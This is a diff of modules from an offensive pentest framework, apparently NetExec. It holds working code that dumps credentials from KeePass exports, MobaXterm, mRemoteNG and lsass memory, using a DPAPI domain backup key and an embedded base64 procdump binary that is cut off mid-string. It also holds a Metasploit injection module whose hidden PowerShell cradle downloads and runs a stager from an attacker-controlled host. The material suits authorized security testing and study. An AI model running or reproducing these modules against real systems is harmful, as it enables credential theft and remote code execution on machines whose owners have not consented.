username = smb_connection._SMBConnection._SMB__userName
owner = lookup_sid(dce, str(security_descriptor_obj.Owner))
if owner == username:
owner = owner + colored("Pwn3d!", "red")
group = lookup_sid(dce, str(security_descriptor_obj.Group))
context.log.highlight(f"\t Owner: {owner}")
context.log.highlight(f"\t Group: {group}")
context.log.highlight(f"\t SACL: {security_descriptor_obj.Sacl}")
if security_descriptor_obj.Dacl is not None:
context.log.highlight("\t ACEs:")
for ace in security_descriptor_obj.Dacl.aces:
ace_sid_name = lookup_sid(dce, str(ace.Sid))
mask_formatted = FILE_ACCESS_MASK(ace.Mask).name
if mask_formatted is None:
continue
owned = colored(" (Own3d!)", "red") if ace_sid_name == username else ""
context.log.highlight(f"\t\t {ace_sid_name} - {mask_formatted}{owned}")
except SessionError as e:
context.log.debug(e)
def enumerate_files(conn, smb_connection, share_name, current_path, context, filters=None):
"""Recursive function that enumerates the directories"""
try:
print(f"{smb_connection=} {share_name=} {current_path=}")
file_list = smb_connection.listPath(share_name, current_path + "*")
for file in file_list:
if (
file.is_directory()
and not file.is_system()
and file.get_longname() not in [".", ".."]
):
next_path = current_path + file.get_longname() + "/"
context.log.debug(f"Trying to enumrate files in {next_path}")
enumerate_files(conn, smb_connection, share_name, next_path, context, filters)
if not file.is_directory() and not file.is_system():
context.log.debug(f"File Found {file.get_longname()}")
get_security_descriptor(conn, file, smb_connection, context, share_name, current_path, filters)
except SessionError as e:
context.log.error(e)
class NXCModule:
"""
A module to enumerate the ACLs of the files in a share.
Module by @syl, thanks to @Skelsec and @NeffIsBack
"""
name = "enum_share_acls"
description = ""
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.server = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.cleanup = None
def options(self, context, module_options):
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage:
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="ace_mask=FILE_ALL_ACCESS,ace_sid=S-1-5-32-544"
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="ace_mask=FILE_ALL_ACCESS|READ_CONTROL,ace_sid=S-1-5-32-544"
nxc smb 127.0.0.1 -u administrator -p 'Password123!' -M enum_share_acls -o FILTER="owner=S-1-5-32-544"
"""
self.FILTER = None
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def parse_filters(self):
parsed_filters = self.FILTER.split(",")
filters_dict = {}
masks = [m.name for m in FILE_ACCESS_MASK]
for _filter in parsed_filters:
splitted_filter = _filter.split("=")
if splitted_filter[0] not in AVAILABLE_FILTERS:
return None, f"{_filter} filter isn't available, please choose between {AVAILABLE_FILTERS}"
for __filter in AVAILABLE_FILTERS:
if __filter in _filter:
filters_dict[__filter] = splitted_filter[1]
if "|" in filters_dict[__filter]:
filters_dict[__filter] = filters_dict[__filter].split("|")
else:
filters_dict[__filter] = [splitted_filter[1],]
# Verify the filters
if "ace_mask" in filters_dict:
for mask_name in filters_dict["ace_mask"]:
if mask_name not in masks:
return None, f"{mask_name} ace_mask isn't valid, please choose between {mask_name}"
return filters_dict, None
def on_login(self, context, connection):
shares = connection.shares()
smb_connection = connection.conn
filters = None
if self.FILTER:
filters, err = self.parse_filters()
if err is not None:
context.log.error(err)
for share in shares:
share_name = share["name"]
context.log.display(f"Enumerating ACLs on share: {share_name}")
enumerate_files(connection, smb_connection, share_name, "/", context, filters)
+26 -26
View File
@@ -1,5 +1,7 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -379,30 +381,28 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
+22 -22
View File
@@ -27,8 +27,6 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -37,11 +35,8 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = "https"
@@ -58,19 +53,24 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
-128
View File
@@ -1,128 +0,0 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-212
View File
@@ -1,212 +0,0 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+5 -5
View File
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from os import path
from nxc.paths import DATA_PATH, TMP_PATH
from nxc.paths import DATA_PATH
class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
file_to_upload = "/tmp/pi.exe"
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if isfile(self.imp_exe):
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
+4 -6
View File
@@ -7,8 +7,6 @@ import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -32,7 +30,7 @@ class NXCModule:
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACPLxx5y05yKstOcirLTnIq0Iq8KspOcirGHK0q0k5yKsYckipXTnIqxhyTKvNOcirCNuEq205yKstOcyp+TnIqNznLKsxOciq2N5cq105yKsYcqSrKTnIqy07lKspOciq2N6wqyk5yKlJpY2jLTnIqAAAAAAAAAABQRQAATAEFADBi/lgAAAAAAAAAAOAAAgELAQwAAI4CAABYBwAAAAAA53EBAAAQAAAAoAIAAABAAAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAAAQCgAABAAA1FIKAAMAQIEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIQwBADwAAAAAKAEAIA8BQAAAAAAAAAAAACyCQCgPgAAAOAJAMQoAABAowIAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAgBABAAAAAAAAAAAAAAAAAoAIA2AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAApY0CAAAQAAAAjgIAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAACqhAQAAoAIAAKIBAACSAgAAAAAAAAAAAAAAAABAAABALmRhdGEAAAC8TQAAAFAEAAAWAAAANAQAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAgDwFAACgBAAAPgUAAEoEAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAMQoAAAA4AkAACoAAACICQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGiAnUIA6BwwAQBZw8zMzMxocJ1CAOgMMAEAWcPMzMzMaGCdQgDo/C8BAFnDzMzMzOh7mwAAaKCdQgDo5y8BAFnDzMzMzMzMzMzMzMzMzMzMagBqAGoBagD/FbihQgCjaHVEAMPMzMzMzMzMzMzMzMxqAGoAagFqAP8VuKFCAKPAjEQAw8zMzMzMzMzMzMzMzFWL7PZFCAFWi/HHBtSwQgB0CVbotS8BAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzFWL7ItFCItVDIkQiUgEXcIIAMzMzMzMzMzMzMzMzMzMVYvsiwGNVfiD7Aj/dQhS/1AMi1UMi0gEO0oEdQ6LADsCdQiwAYvlXcIIADLAi+VdwggAzMzMzMzMzMzMzMzMzFWL7ItFCDtIBHUNiwA7RQx1BrABXcIIADLAXcIIAMzMuGAAQwDDzMzMzMzMzMzMzFWL7FFW/3UMx0X8AAAAAOjIIgEAi3UIg8QEhcC6aABDAA9F0MdGFA8AAADHRhAAAAAAxgYAgDoAdRQzyVFSi87oCwMAAIvGXovlXcIIAIvKV415AYoBQYTAdfkrz19RUovO6OkCAACLxl6L5V3CCAC4eABDAMPMzMzMzMzMzMzMVYvsUYtFDMdF/AAAAABWi3UIg/gBdShqFcdGFA8AAACLzsdGEAAAAABohABDAMYGAOiaAgAAi8Zei+VdwggAUFboOv///4vGXovlXcIIAMy4nABDAMPMzMzMzMzMzMzMVYvsUVb/dQzHRfwAAAAA6BIiAQCLdQiDxASFwLpoAEMAD0XQx0YUDwAAAMdGEAAAAADGBgCAOgB1FDPJUVKLzugrAgAAi8Zei+VdwggAi8pXjXkBigFBhMB1+SvPX1FSi87oCQIAAIvGXovlXcIIAFWL7FaLdQxW6H8hAQCDxASFwItFCIkwdAzHQAQUY0QAXl3CCADHQAQQY0QAXl3CCADMzMzMzMzMzMzMzMzMzMxVi+yB7BQCAAChCFREADPFiUX4g30IAHUTg8j/i034M83oxyIBAIvlXcIEAP81yHREAI2F7P3//2ikAEMAUOidBAAAg8QMjYXs/f//UGoAagBqAP8VuKFCAItNCGr/UOi8nQAAg/gBdQdqAOgAkwAAi034M8AzzehxIgEAi+VdwgQAzMzMzMzMzMzMzMzMzMxVi+xTi10IVleL8YtNDIt7EDv5D4LpAAAAK/k5fRAPQn0QO/N1R40EDzlGEA+C2gAAAIN+FBCJRhByGYsWUWoAi87GBAIA6OUBAABfi8ZeW13CDACL1lFqAIvOxgQCAOjMAQAAX4vGXltdwgwAg//+D4egAAAAi0YUO8dzJP92EIvOV+hIAgAAi00Mhf90aoN7FBByAosbg34UEHIqixbrKIX/deqJfhCD+BByDosGX8YAAIvGXltdwgwAi8ZfXlvGAABdwgwAi9aF/3QOV40EC1BS6LhdAQCDxAyDfhQQiX4Qcg+LBsYEOACLxl9eW13CDACLxsYEOABfi8ZeW13CDABozABDAOgjIQEAaMwAQwDoGSEBAGi8AEMA6OEgAQDMzMzMzMzMzMzMzMzMzMzMVYvsU4tdCFaL8YXbdFeLThSD+RByBIsG6wKLxjvYckWD+RByBIsW6wKL1otGEAPCO8N2MYP5EHIW/3UMiwaLzivYU1boh/7//15bXcIIAP91DIvGi84r2FNW6HH+//9eW13CCABXi30Mg//+d36LRhQ7x3MZ/3YQi85X6CABAACF/3Rfg34UEHIqiwbrKIX/dfKJfhCD+BByDosGX8YAAIvGXltdwggAi8ZfXlvGAABdwggAi8aF/3QLV1NQ6J5cAQCDxAyDfhQQiX4Qcg+LBsYEOACLxl9eW13CCACLxsYEOABfi8ZeW13CCABovABDAOjbHwEAzMzMzMzMzMzMzFWL7FaL8YtNCFeLfhA7+XJ+i1UMi8crwTvCdyODfhQQiU4Qcg6LBl/GBAgAi8ZeXcIIAIvGX17GBAgAXcIIAIXSdESDfhQQcgSLBusCi8Yr+lONHAiLxyvBdA5QjQQTUFPo2h8BAIPEDIN+FBCJfhBbcg6LBsYEOACLxl9eXcIIAIvGxgQ4AF+Lxl5dwggAaMwAQwDoZh8BAMzMzMzMzMxVi+xq/2gAnEIAZKEAAAAAUIPsDFNWV6EIVEQAM8VQjUX0ZKMAAAAAiWXwi/GJdeiLRQiL+IPPD4P//nYEi/jrJ4teFLirqqqq9+eLy9Hp0eo7ynYTuP7///+NPBkrwTvYdgW//v///41PAcdF/AAAAAAzwIlF7IXJdEaD+f93EFHo5ykBAIPEBIlF7IXAdTHoax4BAItFCI1NC4lF7ECJZfBQxkX8AuikAAAAiUUIuPUWQADDi33si0UIi3XoiUXsi10Mhdt0SIN+FBByMYsO6y+LdeiDfhQQcgr/Nug7KQEAg8QEagDHRhQPAAAAx0YQAAAAAGoAxgYA6JxhAQCLzoXbdAtTUVDos1oBAIPEDIN+FBByCv826AApAQCDxASLRezGBgCJBol+FIleEIP/EHICi/DGBB4Ai030ZIkNAAAAAFlfXluL5V3CCADMzMxVi+yLRQgzyYXAdBSD+P93FVDoBikBAIvIg8QEhcl0BovBXcIEAOiFHQEAzMzMzMxVi+yNRRBQ/3UMaAQBAAD/dQjoCScBAIPEEF3DzMzMzFWL7IPk+IHsnAAAAKEIVEQAM8SJhCSYAAAAU1ZXaj6NRCQgi/FqAFCJdCQg6G8fAgCDxAzHRCQYQgAAAIl0JBxqAP8VsKFCAIlEJDqNRCQYUMdEJDBMAQAA/xVAoEIAhcB1FV9eW4uMJJgAAAAzzOh5HQEAi+Vdw2gCfwAAagD/FXCiQgBQ/xWUokIAizVMoEIAagj/dCQsiUQkGP/Wagr/dCQsiUQkFP/Walj/dCQsi/j/1mpa/3QkLIvY/9ZqLIvwx0QkeAAAAACNRCR8agBQ6MoeAgCDxAzHRCRgAAAAAA9XwPMPf0QkZGoB/3QkLP8VUKBCAItEJCiJRCR0iUQkeIvHmff+aGD6//9pwKAFAADHhCSUAAAAAAAAAMeEJJAAAAAAAAAAaGD6//+JhCSgAAAAi0QkFJn3+2nAoAUAAImEJJwAAACNhCSEAAAA8w9vhCSUAAAAUPMPf4QkiAAAAP8VbKJCAI1EJGDHhCScAAAAAAAAAFD/dCQsx4QkqAAAAP/////HRCRoFAAAAMdEJGx8YEMA/xVUoEIAi1wkFIs9YKJCAGoAagBqDlP/1/90JCiJRCQQ/xVIoEIAjUQkdFBqAWg5BAAAU//X/3QkKIvw/xVcoEIAO3QkDH0+kP90JCiJtCSgAAAAx4QkpAAAAP//////FUigQgCNRCR0UGoBaDkEAABT/9f/dCQoi/D/FVygQgA7dCQMfMNqAGoAaDkEAABT/9f/dCQo/xVYoEIA/3QkEP8VlKJCAIuMJKQAAAC4AQAAAF9eWzPM6JobAQCL5V3DzMzMzMzMzMzMVYvsg+wIM9JWizVgZUMAV78BAAAAhfZ0JYvO6wONSQCNQQGJRfiKAUGEwHX5K034QgP5iwyVYGVDAIXJdeJX6CwqAQAz/4PEBIl9/IvIiU34hfZ0RyvOi8aNFDLine truncated
)
self.procdump = "procdump.exe"
self.procdump_path = abspath(TMP_PATH)
self.procdump_path = "/tmp/"
self.dir_result = self.procdump_path
self.useembeded = True
@@ -91,10 +89,10 @@ class NXCModule:
context.log.display(f"Copy {machine_name} to host")
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
@@ -110,7 +108,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
with open(self.dir_result + machine_name, "rb") as dump:
try:
credz_bh = []
try:
-1
View File
@@ -103,7 +103,6 @@ class NXCModule:
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
